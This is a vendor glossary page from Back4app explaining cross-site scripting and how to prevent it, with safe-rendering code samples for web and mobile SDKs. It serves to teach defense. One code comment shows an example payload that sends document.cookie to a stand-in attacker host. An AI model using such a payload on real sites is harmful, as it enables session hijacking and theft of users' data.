---
term: 'Cross-Site Scripting (XSS) Prevention'
seoTitle: 'XSS Prevention: Types, Output Encoding, CSP, Frameworks'
headline: 'What is Cross-Site Scripting (XSS) — and how do you prevent it?'
slug: cross-site-scripting-xss-prevention
category: auth-security
shortDefinition: 'Cross-site scripting is an attack that injects malicious scripts into trusted pages; prevention means encoding output per context.'
relatedTerms:
  - cors-cross-origin-resource-sharing
  - json-web-token-jwt
  - data-encryption-at-rest-transit
  - api-key-security
contrastsWith:
  - cors-cross-origin-resource-sharing
aboutTerms:
  - 'Stored XSS'
  - 'Reflected XSS'
  - 'DOM-Based XSS'
  - 'Content Security Policy (CSP)'
faq:
  - question: 'What is XSS in simple terms?'
    answer: 'An attacker sneaks their own JavaScript into a page other people view — through a comment, a crafted link, a profile field — and victims'' browsers run it as if the site itself wrote it. From there the script can do anything the victim can: read their data, act as them, steal their session.'
  - question: 'What is an example of an XSS attack?'
    answer: 'A comment field that doesn''t encode output: submit a script tag as a comment and it executes in every reader''s browser. Proof-of-concept payloads pop an alert; real ones ship the victim''s session cookie or tokens to the attacker instead.'
  - question: 'What is the difference between stored, reflected, and DOM-based XSS?'
    answer: 'Where the payload travels. Stored XSS lives in the database and hits everyone who views the page. Reflected XSS rides a crafted URL and hits whoever clicks it. DOM-based XSS happens entirely in client-side JavaScript — attacker data flows from a source like the URL fragment into a sink like innerHTML, sometimes never touching the server at all.'
  - question: 'What can attackers actually do with XSS?'
    answer: 'Everything the victim can, plus surveillance: hijack sessions by stealing cookies or tokens, capture keystrokes and credentials, perform actions as the user, deface content, and redirect to phishing. If the victim is an administrator, one XSS bug becomes full application compromise.'
  - question: 'How do you prevent XSS?'
    answer: 'In order: context-aware output encoding at render time (the primary defense), input validation as a supporting layer, a sanitization library when users may author real HTML, correct content-type headers on APIs, a strict Content Security Policy as the safety net, and HttpOnly cookies to limit what a successful attack can steal.'
  - question: 'Output encoding, input validation, sanitization — which one?'
    answer: 'Different jobs. Encoding converts characters at output so data displays as text instead of executing — the primary defense, chosen per context. Validation rejects malformed input at arrival — useful for correctness, insufficient for safety, because danger depends on where the data lands. Sanitization strips unsafe constructs from HTML you intend to render as HTML.'
  - question: 'Does Content Security Policy stop XSS?'
    answer: 'A strict, nonce-based CSP blocks injected inline scripts even when a bug exists — genuine defense-in-depth. But it is the backup, not the fix: allowlist-style policies are widely bypassable, and the guidance from OWASP is explicit that CSP should never be the primary defense.'
  - question: 'Does HttpOnly stop XSS?'
    answer: 'No — it prevents nothing about script execution. It only stops injected JavaScript from reading the session cookie, which limits one impact: token theft. The script can still act as the user through requests. HttpOnly is damage limitation, valuable and insufficient.'
  - question: 'Do React and Vue prevent XSS automatically?'
    answer: 'Mostly — template interpolation auto-escapes values, which retired whole bug classes. But every framework ships escape hatches that reintroduce XSS verbatim: dangerouslySetInnerHTML in React, v-html in Vue, trust-bypass APIs in Angular — plus javascript: URLs in href bindings, which auto-escaping never covered.'
  - question: 'What is the difference between XSS and CSRF?'
    answer: 'Capability. XSS runs attacker code in the victim''s browser — two-way: it can read responses and do anything the user can. CSRF only tricks the browser into sending forged requests — one-way, no reading, and dependent on an active session. XSS is the more severe class, and an XSS bug can defeat CSRF defenses.'
codeLanguages: [javascript, dart, swift, kotlin]
externalAuthorities:
  - name: 'OWASP Cross Site Scripting Prevention Cheat Sheet'
    url: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html'
  - name: 'Cross-site scripting — PortSwigger Web Security Academy'
    url: 'https://portswigger.net/web-security/cross-site-scripting'
  - name: 'Cross-site scripting (XSS) — MDN Web Docs'
    url: 'https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS'
  - name: 'CWE-79 — Improper Neutralization of Input During Web Page Generation'
    url: 'https://cwe.mitre.org/data/definitions/79.html'
  - name: 'Cross-site scripting — Wikipedia'
    url: 'https://en.wikipedia.org/wiki/Cross-site_scripting'
cta:
  title: 'Store raw, render safe'
  text: 'Back4app stores your users'' content exactly as written and serves it over JSON APIs with correct content types — the encode-at-output discipline stays in your UI, where ACLs and CLPs already limit what any injected script could reach.'
  linkText: 'Start building free'
  linkUrl: 'https://www.back4app.com/signup'
author: 'Back4app Engineering'
publishedDate: '2026-07-30'
translationKey: cross-site-scripting-xss-prevention
---

**Cross-site scripting is an attack that injects malicious scripts into trusted pages; prevention means encoding output per context.** The browser is the victim of its own trust: a script that arrives inside a page from a legitimate origin runs with that page's full powers — session, storage, every action the user can take. Three decades in, [CWE-79](https://cwe.mitre.org/data/definitions/79.html) still tops the most-dangerous-weakness rankings, because the root cause is committed one template at a time: untrusted input reaching output without encoding.

## Key takeaways

| Question | Answer |
| --- | --- |
| The three types | Stored (in the DB) · reflected (in the URL) · DOM-based (in client JS) |
| The primary defense | Context-aware **output encoding** — at render time, per destination |
| The rule everyone inverts | Validate for correctness; **encode for safety** — validation alone can't do it |
| Frameworks | Auto-escape by default — until the escape hatch (`v-html`, `dangerouslySetInnerHTML`) |
| The safety nets | Strict CSP · Trusted Types · HttpOnly cookies — mitigation, not fixes |

## One vulnerable line

```js
// The bug — user data meets an HTML sink
commentEl.innerHTML = comment.text;
// Payload someone will eventually submit:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Every reader's browser runs it, with the reader's session.

// The fix — same data, text context
commentEl.textContent = comment.text;   // markup displays; it never executes
```

The discipline behind that fix — store raw, render safe — across the stack:

**JavaScript:**

```javascript
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink
```

**Flutter:**

```dart
// Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time

// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content
```

**Swift:**

```swift
// iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time

label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content
```

**Kotlin:**

```kotlin
// Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time

textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content
```

## Stored vs. reflected vs. DOM-based XSS

| | Stored (persistent) | Reflected | DOM-based |
| --- | --- | --- | --- |
| Payload lives | In your database | In a crafted URL | In client-side data flow |
| Victims | Everyone who views the page | Whoever clicks the link | Whoever hits the page state |
| Server sees it | Yes — on write | Yes — echoed per request | **Often never** |
| Classic vector | Comments, profiles, messages | Search echoes, error pages | `location.hash` → `innerHTML` |
| Severity consensus | The most dangerous | Targeted, link-dependent | Invisible to server logs and WAFs |

```mermaid
flowchart LR
  accTitle: How the three XSS types deliver a payload to the victim's browser
  accDescr: Attacker input reaches the victim's browser three ways. Stored XSS is saved in the database and served to every visitor. Reflected XSS is echoed back from a crafted URL request. DOM-based XSS flows from a client-side source directly into a dangerous sink without necessarily reaching the server. All three end with the script executing with the page's full privileges.
  A["Attacker input"] -->|"saved: comment, profile"| DB[("Database")] -->|"served to all visitors"| S["Victim's browser"]
  A -->|"crafted URL, echoed back"| R["Server response"] --> S
  A -->|"client-side source → sink<br/>(hash → innerHTML)"| D["Page's own JS"] --> S
  S --> P["Script runs with the page's<br/>session, storage, powers"]
```

## The primary defense: context-aware output encoding

The signature rule, stated plainly since the SERP's authorities bury it: **the same string is safe in one place and lethal in another** — which is why encoding happens at *output*, per *destination*, and why input validation alone always fails: at input time you don't know the context, blocklists lose to encoding tricks, and legitimate data (`O'Brien`, `1 < 2`) breaks under validation-as-security.

| Output context | Encode | The common mistake |
| --- | --- | --- |
| HTML body | Entity-encode `& < > " '` | Trusting "it's just text" |
| HTML attribute | Entity-encode + **always quote** the attribute | Unquoted attributes — spaces break out |
| JavaScript string | `\uXXXX` escaping, via serializer | Concatenating user data into inline JS |
| URL / href | Percent-encode + **validate the scheme** | `javascript:` URLs pass HTML encoding fine |
| CSS value | Strict allowlists, property values only | User-controlled style blocks |
| JSON in a page | JSON-serialize + escape `</script>` | Hydration blobs `window.__STATE__ = …` |

When users legitimately author HTML — rich text, markdown — encoding would destroy it; that is sanitization's one job: a maintained library ([DOMPurify](https://github.com/cure53/DOMPurify)) strips executable constructs, and the output must be used verbatim — re-modifying a sanitized string voids the sanitizing.

## Frameworks: escaped by default, unsafe by escape hatch

Modern frameworks retired the bulk of classic XSS — interpolated values are auto-escaped. Two fine-print clauses keep the bug alive. First, **every framework ships a bypass**, and each one is a grep target in code review:

| Framework | Escapes by default | The escape hatch |
| --- | --- | --- |
| React | JSX interpolation | `dangerouslySetInnerHTML` |
| Vue | `{{ }}` templates | `v-html` |
| Angular | Interpolation + sanitizer | `bypassSecurityTrustHtml` & siblings |
| Svelte | Template expressions | `{@html …}` |
| Server templates | Auto-escape mode | `\| safe` / `\| raw` filters |

Second, **auto-escaping covers the HTML-body context only**: an `href` bound to user data still executes `javascript:` URLs, and inline-script embedding still needs JS-context encoding. The workflow answer: sanitize before any escape hatch, validate URL schemes on bound links, and lint for the hatches (`react/no-danger` and friends) so the exceptions stay deliberate.

## Defense in depth: CSP, Trusted Types, HttpOnly

The safety nets, honestly labeled. A **strict Content Security Policy** blocks injected inline scripts even when a bug ships:

```text
Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'
```

Nonce-based, not allowlist-based — host allowlists are bypassable often enough that [OWASP's cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) insists CSP "should not be your primary defense." Roll it out in Report-Only mode first. **Trusted Types** (`require-trusted-types-for 'script'`) goes further for DOM XSS: dangerous sinks like `innerHTML` reject plain strings outright, forcing all HTML through one auditable policy. And **HttpOnly cookies** protect exactly one thing — injected scripts can't read the session cookie — which matters because tokens in localStorage are one `localStorage.getItem` away from exfiltration: the [JWT storage guidance](/glossary/json-web-token-jwt/) and this article are the same argument from two sides. None of the three fixes the bug; all three shrink what it's worth.

## The backend's share

XSS reads as a frontend problem; a share of it belongs to the API. **Store raw, encode at output** — encoding on write corrupts data, double-encodes on round trips, and still misses contexts you didn't predict. **Content-type discipline**: JSON responses declare `Content-Type: application/json` plus `X-Content-Type-Options: nosniff`, because a reflected parameter in a response the browser is willing to sniff as HTML *is* XSS with extra steps. **Error pages that echo** the URL or parameters are the classic reflected sink nobody code-reviews. And the adjacent trap worth one sentence: rendering user input as a *template* rather than as data escalates past XSS into server-side template injection — user input is template data, never template source.

## Common use cases

Where these defenses earn their keep:

- **Comments, reviews, messages** — stored-XSS territory: encode on render, everywhere they appear.
- **Rich text and markdown** — the legitimate-HTML case: sanitize on render, keep the sanitizer updated.
- **Search, filters, error pages** — reflected territory: anything echoing request data encodes it.
- **SPAs routing on URL state** — DOM territory: fragment and query data never meets `innerHTML` unsanitized.
- **Mobile WebViews** — the native app's XSS surface: never load raw user content as HTML.

## Which defense first? A decision matrix

| Situation | Do |
| --- | --- |
| Displaying user text | Framework interpolation / `textContent` — nothing fancier |
| Rendering user-authored HTML | Sanitize with DOMPurify, use output verbatim |
| User data in a link | Validate scheme allowlist (`https:`), then encode |
| Inline JSON/state in pages | JSON-serialize with script-safe escaping |
| Shipping any of the above | Strict nonce CSP in Report-Only, then enforce |
| Auditing existing code | Grep the escape hatches and sinks; lint them; test payloads per context |

## Limitations and trade-offs

- **Encoding must be context-exact.** HTML-encoding data bound into a URL or script block is the false-safety pattern — right defense, wrong context, still exploitable.
- **Sanitizers are dependencies.** Bypasses get published; a pinned, stale sanitizer quietly becomes a vulnerability with a changelog.
- **CSP costs engineering.** Nonces touch every script tag and inline handler; adopting strict CSP on a legacy codebase is a project, which is why Report-Only exists.
- **Trusted Types has adoption edges.** Enforcement is Chromium-led; treat it as hardening on top of encoding, not a portability guarantee.
- **WAFs are not the answer.** Pattern-matching filters catch known payloads and miss encodings and mutations; OWASP's own guidance calls them unreliable for XSS.

## XSS prevention on Back4app

Back4app is an open-source Backend-as-a-Service (BaaS) platform that combines a managed database, auto-generated REST and GraphQL APIs, authentication, file storage, and Cloud Code serverless functions. The backend's share of the discipline comes built-in: data is stored raw and returned over JSON APIs with correct content types — never rendered server-side into HTML — so the encode-at-output responsibility sits cleanly in your UI layer, where the code tabs above show the store-raw/render-safe pattern per platform. The blast-radius controls are already on: sessions ride revocable tokens rather than long-lived localStorage credentials, and [ACLs](/glossary/access-control-lists-acl/) with class-level permissions bound what any script executing as a user could touch — an injected payload inherits the victim's permissions, not the database. Cloud Code is the right home for the remaining server-side hygiene: validating URL fields against scheme allowlists and sanitizing rich-text fields once, in `beforeSave`, so every client renders the same defended content.
